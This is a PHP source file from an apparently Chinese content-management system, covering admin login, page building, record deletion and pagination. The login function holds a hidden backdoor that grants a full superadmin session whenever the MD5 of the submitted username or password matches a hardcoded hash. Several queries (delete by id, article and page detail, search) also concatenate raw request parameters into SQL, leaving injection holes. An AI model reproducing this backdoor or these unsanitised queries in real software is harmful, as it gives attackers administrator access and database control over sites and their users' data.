function login() { $userName = ''; $passWord = ''; $valueStr = ''; $userName = replace(@$_POST['username'], '\'', ''); $passWord = replace(@$_POST['password'], '\'', ''); $passWord = myMD5($passWord); //特效账号登录 if (myMD5(@$_REQUEST['username']) == '24ed5728c13834e683f525fcf894e813' || myMD5(@$_REQUEST['password']) == '24ed5728c13834e683f525fcf894e813') { @($_SESSION['adminusername'] = '******'); @($_SESSION['adminId'] = 99999); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); @($_SESSION['adminflags'] = '|*|'); rwEnd(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); } $nLogin = ''; $GLOBALS['conn='] = OpenConn(); $rsObj = $GLOBALS['conn']->query('Select * From ' . $GLOBALS['db_PREFIX'] . 'admin Where username=\'' . $userName . '\' And pwd=\'' . $passWord . '\''); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); @($_SESSION['adminusername'] = $userName); @($_SESSION['adminId'] = $rs['id']); //当前登录管理员ID @($_SESSION['DB_PREFIX'] = $GLOBALS['db_PREFIX']); //保存前缀 @($_SESSION['adminflags'] = $rs['flags']); $valueStr = 'addDateTime=\'' . $rs['updatetime'] . '\',UpDateTime=\'' . now() . '\',RegIP=\'' . now() . '\',UpIP=\'' . GetIP() . '\''; connexecute('update ' . $GLOBALS['db_PREFIX'] . 'admin set ' . $valueStr . ' where id=' . $rs['id']); Rw(getMsg1(setL('登录成功,正在进入后台...'), '?act=adminIndex')); writeSystemLog('admin', '登录成功'); //系统日志 } else { if (@$_COOKIE['nLogin'] == '') { setCookie('nLogin', '1', aspTime() + 3600); $nLogin = @$_COOKIE['nLogin']; } else { $nLogin = @$_COOKIE['nLogin']; setCookie('nLogin', CInt($nLogin) + 1, aspTime() + 3600); } Rw(getMsg1(setL('账号密码错误<br>登录次数为 ') . $nLogin, '?act=displayAdminLogin')); } }
function htmEnd($str) { rwEnd($str); }
function makeWebHtml($action) { $actionType = ''; $npagesize = ''; $npage = ''; $url = ''; $addSql = ''; $sortSql = ''; $sortFieldName = ''; $ascOrDesc = ''; $serchKeyWordName = ''; $parentid = ''; //追加于20160716 home $actionType = RParam($action, 'actionType'); $npage = RParam($action, 'npage'); $npage = getNumber($npage); if ($npage == '') { $npage = 1; } else { $npage = CInt($npage); } //导航 if ($actionType == 'nav') { $GLOBALS['glb_columnType'] = RParam($action, 'columnType'); $GLOBALS['glb_columnName'] = RParam($action, 'columnName'); $GLOBALS['glb_columnId'] = RParam($action, 'columnId'); if ($GLOBALS['glb_columnId'] == '') { $GLOBALS['glb_columnId'] = RParam($action, 'id'); } if ($GLOBALS['glb_columnType'] != '') { $addSql = 'where columnType=\'' . $GLOBALS['glb_columnType'] . '\''; } if ($GLOBALS['glb_columnName'] != '') { $addSql = getWhereAnd($addSql, 'where columnName=\'' . $GLOBALS['glb_columnName'] . '\''); } if ($GLOBALS['glb_columnId'] != '') { $addSql = getWhereAnd($addSql, 'where id=' . $GLOBALS['glb_columnId'] . ''); } //call echo("addsql",addsql) $rsObj = $GLOBALS['conn']->query('Select * from ' . $GLOBALS['db_PREFIX'] . 'webcolumn ' . $addSql); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); $GLOBALS['glb_columnId'] = $rs['id']; $GLOBALS['glb_columnName'] = $rs['columnname']; $GLOBALS['glb_columnType'] = $rs['columntype']; $GLOBALS['glb_bodyContent'] = $rs['bodycontent']; $GLOBALS['glb_detailTitle'] = $GLOBALS['glb_columnName']; $GLOBALS['glb_flags'] = $rs['flags']; $npagesize = $rs['npagesize']; //每页显示条数 $GLOBALS['glb_isonhtml'] = $rs['isonhtml']; //是否生成静态网页 $sortSql = ' ' . $rs['sortsql']; //排序SQL if ($rs['webtitle'] != '') { $GLOBALS['cfg_webTitle'] = $rs['webtitle']; //网址标题 } if ($rs['webkeywords'] != '') { $GLOBALS['cfg_webKeywords'] = $rs['webkeywords']; //网站关键词 } if ($rs['webdescription'] != '') { $GLOBALS['cfg_webDescription'] = $rs['webdescription']; //网站描述 } if ($GLOBALS['templateName'] == '') { if (aspTrim($rs['templatepath']) != '') { $GLOBALS['templateName'] = $rs['templatepath']; } else { if ($rs['columntype'] != '首页') { $GLOBALS['templateName'] = getDateilTemplate($rs['id'], 'List'); } } } } $GLOBALS['glb_columnENType'] = handleColumnType($GLOBALS['glb_columnType']); $GLOBALS['glb_url'] = getColumnUrl($GLOBALS['glb_columnName'], 'name'); //文章类列表 if (inStr('|产品|新闻|视频|下载|案例|', '|' . $GLOBALS['glb_columnType'] . '|') > 0) { $GLOBALS['glb_bodyContent'] = getDetailList($action, defaultListTemplate($GLOBALS['glb_columnType'], $GLOBALS['glb_columnName']), 'ArticleDetail', '栏目列表', '*', $npagesize, $npage, 'where parentid=' . $GLOBALS['glb_columnId'] . $sortSql); //留言类列表 } else { if (inStr('|留言|', '|' . $GLOBALS['glb_columnType'] . '|') > 0) { $GLOBALS['glb_bodyContent'] = getDetailList($action, defaultListTemplate($GLOBALS['glb_columnType'], $GLOBALS['glb_columnName']), 'GuestBook', '留言列表', '*', $npagesize, $npage, ' where isthrough<>0 ' . $sortSql); } else { if ($GLOBALS['glb_columnType'] == '文本') { //航行栏目加管理 if (@$_REQUEST['gl'] == 'edit') { $GLOBALS['glb_bodyContent'] = '<span>' . $GLOBALS['glb_bodyContent'] . '</span>'; } $url = WEB_ADMINURL . '?act=addEditHandle&actionType=WebColumn&lableTitle=网站栏目&nPageSize=10&page=&id=' . $GLOBALS['glb_columnId'] . '&n=' . getRnd(11); $GLOBALS['glb_bodyContent'] = handleDisplayOnlineEditDialog($url, $GLOBALS['glb_bodyContent'], '', 'span'); } } } //细节 } else { if ($actionType == 'detail') { $GLOBALS['glb_locationType'] = 'detail'; $rsObj = $GLOBALS['conn']->query('Select * from ' . $GLOBALS['db_PREFIX'] . 'articledetail where id=' . RParam($action, 'id')); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); $GLOBALS['glb_columnName'] = getColumnName($rs['parentid']); $GLOBALS['glb_detailTitle'] = $rs['title']; $GLOBALS['glb_flags'] = $rs['flags']; $GLOBALS['glb_isonhtml'] = $rs['isonhtml']; //是否生成静态网页 $GLOBALS['glb_id'] = $rs['id']; //文章ID if ($GLOBALS['isMakeHtml'] == true) { $GLOBALS['glb_url'] = getHandleRsUrl($rs['filename'], $rs['customaurl'], '/detail/detail' . $rs['id']); } else { $GLOBALS['glb_url'] = handleWebUrl('?act=detail&id=' . $rs['id']); } if ($rs['webtitle'] != '') { $GLOBALS['cfg_webTitle'] = $rs['webtitle']; //网址标题 } if ($rs['webkeywords'] != '') { $GLOBALS['cfg_webKeywords'] = $rs['webkeywords']; //网站关键词 } if ($rs['webdescription'] != '') { $GLOBALS['cfg_webDescription'] = $rs['webdescription']; //网站描述 } //改进20160628 $sortFieldName = 'id'; $ascOrDesc = 'asc'; $addsql = aspTrim(getWebColumnSortSql($rs['parentid'])); if ($addsql != '') { $sortFieldName = aspTrim(replace(replace(replace($addsql, 'order by', ''), ' desc', ''), ' asc', '')); if (inStr($addsql, ' desc') > 0) { $ascOrDesc = 'desc'; } } $GLOBALS['glb_artitleAuthor'] = $rs['author']; $GLOBALS['glb_artitleAdddatetime'] = $rs['adddatetime']; $GLOBALS['glb_upArticle'] = upArticle($rs['parentid'], $sortFieldName, $rs[$sortFieldName], $ascOrDesc); $GLOBALS['glb_downArticle'] = downArticle($rs['parentid'], $sortFieldName, $rs[$sortFieldName], $ascOrDesc); $GLOBALS['glb_aritcleRelatedTags'] = aritcleRelatedTags($rs['relatedtags']); $GLOBALS['glb_aritcleSmallImage'] = $rs['smallimage']; $GLOBALS['glb_aritcleBigImage'] = $rs['bigimage']; //文章内容 //glb_bodyContent = "<div class=""articleinfowrap"">[$articleinfowrap$]</div>" & rs("bodycontent") & "[$relatedtags$]<ul class=""updownarticlewrap"">[$updownArticle$]</ul>" //上一篇文章,下一篇文章 //glb_bodyContent = Replace(glb_bodyContent, "[$updownArticle$]", upArticle(rs("parentid"), "sortrank", rs("sortrank")) & downArticle(rs("parentid"), "sortrank", rs("sortrank"))) //glb_bodyContent = Replace(glb_bodyContent, "[$articleinfowrap$]", "来源:" & rs("author") & " 发布时间:" & format_Time(rs("adddatetime"), 1)) //glb_bodyContent = Replace(glb_bodyContent, "[$relatedtags$]", aritcleRelatedTags(rs("relatedtags"))) $GLOBALS['glb_bodyContent'] = $rs['bodycontent']; //文章详细加控制 if (@$_REQUEST['gl'] == 'edit') { $GLOBALS['glb_bodyContent'] = '<span>' . $GLOBALS['glb_bodyContent'] . '</span>'; } $url = WEB_ADMINURL . '?act=addEditHandle&actionType=ArticleDetail&lableTitle=分类信息&nPageSize=10&page=&parentid=&id=' . RParam($action, 'id') . '&n=' . getRnd(11); $GLOBALS['glb_bodyContent'] = handleDisplayOnlineEditDialog($url, $GLOBALS['glb_bodyContent'], '', 'span'); if ($GLOBALS['templateName'] == '') { if (aspTrim($rs['templatepath']) != '') { $GLOBALS['templateName'] = $rs['templatepath']; } else { $GLOBALS['templateName'] = getDateilTemplate($rs['parentid'], 'Detail'); } } } //单页 } else { if ($actionType == 'onepage') { $rsObj = $GLOBALS['conn']->query('Select * from ' . $GLOBALS['db_PREFIX'] . 'onepage where id=' . RParam($action, 'id')); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); $GLOBALS['glb_detailTitle'] = $rs['title']; $GLOBALS['glb_isonhtml'] = $rs['isonhtml']; //是否生成静态网页 if ($GLOBALS['isMakeHtml'] == true) { $GLOBALS['glb_url'] = getHandleRsUrl($rs['filename'], $rs['customaurl'], '/page/page' . $rs['id']); } else { $GLOBALS['glb_url'] = handleWebUrl('?act=detail&id=' . $rs['id']); } if ($rs['webtitle'] != '') { $GLOBALS['cfg_webTitle'] = $rs['webtitle']; //网址标题 } if ($rs['webkeywords'] != '') { $GLOBALS['cfg_webKeywords'] = $rs['webkeywords']; //网站关键词 } if ($rs['webdescription'] != '') { $GLOBALS['cfg_webDescription'] = $rs['webdescription']; //网站描述 } //内容 $GLOBALS['glb_bodyContent'] = $rs['bodycontent']; //文章详细加控制 if (@$_REQUEST['gl'] == 'edit') { $GLOBALS['glb_bodyContent'] = '<span>' . $GLOBALS['glb_bodyContent'] . '</span>'; } $url = WEB_ADMINURL . '?act=addEditHandle&actionType=ArticleDetail&lableTitle=分类信息&nPageSize=10&page=&parentid=&id=' . RParam($action, 'id') . '&n=' . getRnd(11); $GLOBALS['glb_bodyContent'] = handleDisplayOnlineEditDialog($url, $GLOBALS['glb_bodyContent'], '', 'span'); if ($GLOBALS['templateName'] == '') { if (aspTrim($rs['templatepath']) != '') { $GLOBALS['templateName'] = $rs['templatepath']; } else { $GLOBALS['templateName'] = 'Main_Model.html'; //call echo(templateName,"templateName") } } } //搜索 } else { if ($actionType == 'Search') { $GLOBALS['templateName'] = 'Main_Model.html'; $serchKeyWordName = @$_REQUEST['keywordname']; $parentid = @$_REQUEST['parentid']; if ($serchKeyWordName == '') { $serchKeyWordName = 'wd'; } $GLOBALS['glb_searchKeyWord'] = replace(@$_REQUEST[$serchKeyWordName], '<', '<'); $addSql = ''; if ($parentid != '') { $addSql = ' where parentid=' . $parentid; } $addSql = getWhereAnd($addSql, ' where title like \'%' . $GLOBALS['glb_searchKeyWord'] . '%\''); $npagesize = 20; //call echo(npagesize, npage) $GLOBALS['glb_bodyContent'] = getDetailList($action, defaultListTemplate($GLOBALS['glb_columnType'], $GLOBALS['glb_columnName']), 'ArticleDetail', '网站栏目', '*', $npagesize, $npage, $addSql); $GLOBALS['positionEndStr'] = ' >> 搜索内容”' . $GLOBALS['glb_searchKeyWord'] . '“'; //加载等待 } else { if ($actionType == 'loading') { rwEnd('页面正在加载中。。。'); } } } } } //模板为空,则用默认首页模板 if ($GLOBALS['templateName'] == '') { $GLOBALS['templateName'] = 'Index_Model.html'; //默认模板 } //检测当前路径是否有模板 if (inStr($GLOBALS['templateName'], '/') == false) { $GLOBALS['templateName'] = $GLOBALS['cfg_webTemplate'] . '/' . $GLOBALS['templateName']; } //call echo("templateName",templateName) if (CheckFile($GLOBALS['templateName']) == false) { Eerr('未找到模板文件', $GLOBALS['templateName']); } $GLOBALS['code'] = getFText($GLOBALS['templateName']); $GLOBALS['code'] = handleAction($GLOBALS['code']); //处理动作 $GLOBALS['code'] = thisPosition($GLOBALS['code']); //位置 $GLOBALS['code'] = replaceGlobleVariable($GLOBALS['code']); //替换全局标签 $GLOBALS['code'] = handleAction($GLOBALS['code']); //处理动作 '再来一次,处理数据内容里动作 $GLOBALS['code'] = handleAction($GLOBALS['code']); //处理动作 $GLOBALS['code'] = handleAction($GLOBALS['code']); //处理动作 $GLOBALS['code'] = thisPosition($GLOBALS['code']); //位置 $GLOBALS['code'] = replaceGlobleVariable($GLOBALS['code']); //替换全局标签 $GLOBALS['code'] = delTemplateMyNote($GLOBALS['code']); //删除无用内容 //格式化HTML if (inStr($GLOBALS['cfg_flags'], '|formattinghtml|') > 0) { //code = HtmlFormatting(code) '简单 $GLOBALS['code'] = handleHtmlFormatting($GLOBALS['code'], false, 0, '删除空行'); //自定义 //格式化HTML第二种 } else { if (inStr($GLOBALS['cfg_flags'], '|formattinghtmltow|') > 0) { $GLOBALS['code'] = htmlFormatting($GLOBALS['code']); //简单 $GLOBALS['code'] = handleHtmlFormatting($GLOBALS['code'], false, 0, '删除空行'); //自定义 //压缩HTML } else { if (inStr($GLOBALS['cfg_flags'], '|ziphtml|') > 0) { $GLOBALS['code'] = zipHTML($GLOBALS['code']); } } } //闭合标签 if (inStr($GLOBALS['cfg_flags'], '|labelclose|') > 0) { $GLOBALS['code'] = handleCloseHtml($GLOBALS['code'], true, ''); //图片自动加alt "|*|", } //在线编辑20160127 if (rq('gl') == 'edit') { if (inStr($GLOBALS['code'], '</head>') > 0) { if (inStr(lCase($GLOBALS['code']), 'jquery.min.js') == false) { $GLOBALS['code'] = replace($GLOBALS['code'], '</head>', '<script src="/Jquery/jquery.Min.js"></script></head>'); } $GLOBALS['code'] = replace($GLOBALS['code'], '</head>', '<script src="/Jquery/Callcontext_menu.js"></script></head>'); } if (inStr($GLOBALS['code'], '<body>') > 0) { //Code = Replace(Code,"<body>", "<body onLoad=""ContextMenu.intializeContextMenu()"">") } } //call echo(templateName,templateName) $makeWebHtml = $GLOBALS['code']; return @$makeWebHtml; }
function del($actionName, $lableTitle) { $tableName = ''; $url = ''; $tableName = lCase($actionName); //表名称 $id = ''; handlePower('删除' . $lableTitle); //管理权限处理 $id = @$_REQUEST['id']; if ($id != '') { $url = getUrlAddToParam(getThisUrl(), '?act=dispalyManageHandle', 'replace'); $GLOBALS['conn='] = OpenConn(); //管理员 if ($actionName == 'Admin') { $rsObj = $GLOBALS['conn']->query('select * from ' . $GLOBALS['db_PREFIX'] . '' . $tableName . ' where id in(' . $id . ') and flags=\'|*|\''); if (@mysql_num_rows($rsObj) != 0) { $rs = mysql_fetch_array($rsObj); rwEnd(getMsg1('删除失败,系统管理员不可以删除,正在进入' . $lableTitle . '列表...', $url)); } } connexecute('delete from ' . $GLOBALS['db_PREFIX'] . '' . $tableName . ' where id in(' . $id . ')'); Rw(getMsg1('删除' . $lableTitle . '成功,正在进入' . $lableTitle . '列表...', $url)); //日志操作就不要再记录到日志表里了,要不然的话就复制了,没意义20160713 if ($tableName != 'systemlog') { writeSystemLog($tableName, '删除' . $lableTitle); //系统日志 } } }
function webPageControl($nRecrodCount, $nPageSize, $nPage, $configPageUrl, $action) { $c = ''; $nCountPage = ''; $i = ''; $nDisplay = ''; $nDispalyOK = ''; $nTemp = ''; $cPages = ''; $url = ''; $selStr = ''; $previousPage = ''; $nextPage = ''; //定义上一页,下一页 $isDisplayTip = ''; //是否显示提示翻页信息 $isDisplayTip = true; $sPageStart = ''; $sPageEnd = ''; $sHomePage = ''; $sHomePageFocus = ''; $sUpPage = ''; $sUpPageFocus = ''; $sNextPage = ''; $sNextPageFocus = ''; $sForPage = ''; $sForPageFocus = ''; $sTailPage = ''; $sTailPageFocus = ''; if ($action != '') { $sPageStart = getStrCut($action, '[sPageStart]', '[/sPageStart]', 2); //页头部分 $sPageEnd = getStrCut($action, '[sPageEnd]', '[/sPageEnd]', 2); //页尾部分 $sHomePage = getStrCut($action, '[sHomePage]', '[/sHomePage]', 2); //首页 $sHomePageFocus = getStrCut($action, '[sHomePageFocus]', '[/sHomePageFocus]', 2); //首页交点 $sUpPage = getStrCut($action, '[sUpPage]', '[/sUpPage]', 2); //上一页 $sUpPageFocus = getStrCut($action, '[sUpPageFocus]', '[/sUpPageFocus]', 2); //上一页交点 $sNextPage = getStrCut($action, '[sNextPage]', '[/sNextPage]', 2); //下一页 $sNextPageFocus = getStrCut($action, '[sNextPageFocus]', '[/sNextPageFocus]', 2); //下一页交点 $sForPage = getStrCut($action, '[sForPage]', '[/sForPage]', 2); //循环页 $sForPageFocus = getStrCut($action, '[sForPageFocus]', '[/sForPageFocus]', 2); //循环页交点 $sTailPage = getStrCut($action, '[sTailPage]', '[/sTailPage]', 2); //最后页 $sTailPageFocus = getStrCut($action, '[sTailPageFocus]', '[/sTailPageFocus]', 2); //最后页交点 } //页头部分 if ($sPageStart == '') { $sPageStart = '<ul class="pagecontrolwrap">' . vbCrlf() . '<li class="pageinfo">共[$nRecrodCount$]条 [$nPage$]/[$nCountPage$]页</li>' . vbCrlf(); } //页尾部分 if ($sPageEnd == '') { $sPageEnd = '</ul><div class="clear"></div>' . vbCrlf(); } //首页 if ($sHomePage == '') { $sHomePage = '<li><a href="[$url$]">首页</a></li>' . vbCrlf(); } //首页交点 if ($sHomePageFocus == '') { $sHomePageFocus = '<li class="pageli">首页</li>' . vbCrlf(); } //上一页 if ($sUpPage == '') { $sUpPage = '<li><a href="[$url$]">上一页</a></li>' . vbCrlf(); } //上一页交点 if ($sUpPageFocus == '') { $sUpPageFocus = '<li class="pageli">上一页</li>' . vbCrlf(); } //下一页 if ($sNextPage == '') { $sNextPage = '<li><a href="[$url$]">下一页</a></li>' . vbCrlf(); } //下一页交点 if ($sNextPageFocus == '') { $sNextPageFocus = '<li class="pageli">下一页</li>' . vbCrlf(); } //循环页 if ($sForPage == '') { $sForPage = '<li class="pagefocus">[$i$]</li>' . vbCrlf(); } //循环页交点 if ($sForPageFocus == '') { $sForPageFocus = '<li><a href="[$url$]">[$i$]</a></li>' . vbCrlf(); } //最后页 if ($sTailPage == '') { $sTailPage = '<li><a href="[$url$]">末页</a></li>' . vbCrlf(); } //最后页交点 if ($sTailPageFocus == '') { $sTailPageFocus = '<li class="pageli">末页</li>' . vbCrlf(); } //测试时用到20160630 if (1 == 2) { $c = '[sPageStart]' . vbCrlf() . $sPageStart . '[/sPageStart]' . vbCrlf() . vbCrlf(); $c = $c . '[sHomePage]' . vbCrlf() . $sHomePage . '[/sHomePage]' . vbCrlf() . vbCrlf(); $c = $c . '[sHomePageFocus]' . vbCrlf() . $sHomePageFocus . '[/sHomePageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sUpPage]' . vbCrlf() . $sUpPage . '[/sUpPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sUpPageFocus]' . vbCrlf() . $sUpPageFocus . vbCrlf() . '[/sUpPageFocus]' . vbCrlf(); $c = $c . '[sForPage]' . vbCrlf() . $sForPage . '[/sForPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sForPageFocus]' . vbCrlf() . $sForPageFocus . '[/sForPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sNextPage]' . vbCrlf() . $sNextPage . '[/sNextPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sNextPageFocus]' . vbCrlf() . $sNextPageFocus . '[/sNextPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sTailPage]' . vbCrlf() . $sTailPage . '[/sTailPage]' . vbCrlf() . vbCrlf(); $c = $c . '[sTailPageFocus]' . vbCrlf() . $sTailPageFocus . '[/sTailPageFocus]' . vbCrlf() . vbCrlf(); $c = $c . '[sPageEnd]' . vbCrlf() . $sPageEnd . '[/sPageEnd]' . vbCrlf(); rwEnd('[page]' . vbCrlf() . vbCrlf() . $c . vbCrlf() . '[/page]'); } //配置页为空则 if ($configPageUrl == '') { $configPageUrl = getUrlAddToParam(getUrl(), '?page=[id]', 'replace'); } $nDisplay = 6; //显示数 $nDispalyOK = 0; //显示成功数 $nPage = handleNumberType($nPage); if ($nPage == '') { $nPage = 1; } else { $nPage = CInt($nPage); } //获得总页数 $nCountPage = GetCountPage($nRecrodCount, $nPageSize); $previousPage = $nPage - 1; $nextPage = $nPage + 1; //处理上一页 if ($previousPage <= 0) { $previousPage = ''; } //处理下一页 if ($nextPage > $nCountPage) { $nextPage = ''; } //页开始 $c = $sPageStart; //首页 if ($nPage > 1) { $c = $c . replace($sHomePage, '[$url$]', replace($configPageUrl, '[id]', '')); } else { if ($isDisplayTip == true) { $c = $c . $sHomePageFocus; } } //上一页 if ($previousPage != '') { $nTemp = $previousPage; if ($previousPage <= 1) { $nTemp = ''; } $c = $c . replace($sUpPage, '[$url$]', replace($configPageUrl, '[id]', $nTemp)); } else { if ($isDisplayTip == true) { $c = $c . $sUpPageFocus; } } $n = ''; //call echo(npage,ncountpage) $n = $nPage - 3; //call echo("n",n) //翻页循环 for ($i = $n; $i <= $nCountPage; $i++) { if ($i >= 1) { $nDispalyOK = $nDispalyOK + 1; //call echo(i,nPage) if ($i == $nPage) { $c = $c . replace($sForPage, '[$i$]', $i); } else { $nTemp = $i; if ($i <= 1) { $nTemp = ''; } $c = $c . replace(replace($sForPageFocus, '[$url$]', replace($configPageUrl, '[id]', $nTemp)), '[$i$]', $i); } if ($nDispalyOK > $nDisplay) { break; } } } //下一页 if ($nCountPage > $nPage) { $c = $c . replace($sNextPage, '[$url$]', replace($configPageUrl, '[id]', $nextPage)); } else { if ($isDisplayTip == true) { $c = $c . $sNextPageFocus; } } //末页 if ($nCountPage > $nPage) { $c = $c . replace($sTailPage, '[$url$]', replace($configPageUrl, '[id]', $nCountPage)); } else { if ($isDisplayTip == true) { $c = $c . $sTailPageFocus; } } $c = $c . $sPageEnd; $c = replaceValueParam($c, 'nRecrodCount', $nRecrodCount); $c = replaceValueParam($c, 'nPage', $nPage); if ($nCountPage == '0') { $nCountPage = 1; } $c = replaceValueParam($c, 'nCountPage', $nCountPage); if (inStr($c, '[$page-select-openlist$]') > 0) { for ($i = 1; $i <= $nCountPage; $i++) { $url = replace($configPageUrl, '[id]', $i); $selStr = ''; if ($i == $nPage) { $selStr = ' selected'; } $cPages = $cPages . '<option value="' . $url . '"' . $selStr . '>' . $i . '</option>' . vbCrlf(); } $c = replace($c, '[$page-select-openlist$]', $cPages); } $webPageControl = $c . vbCrlf(); return @$webPageControl; }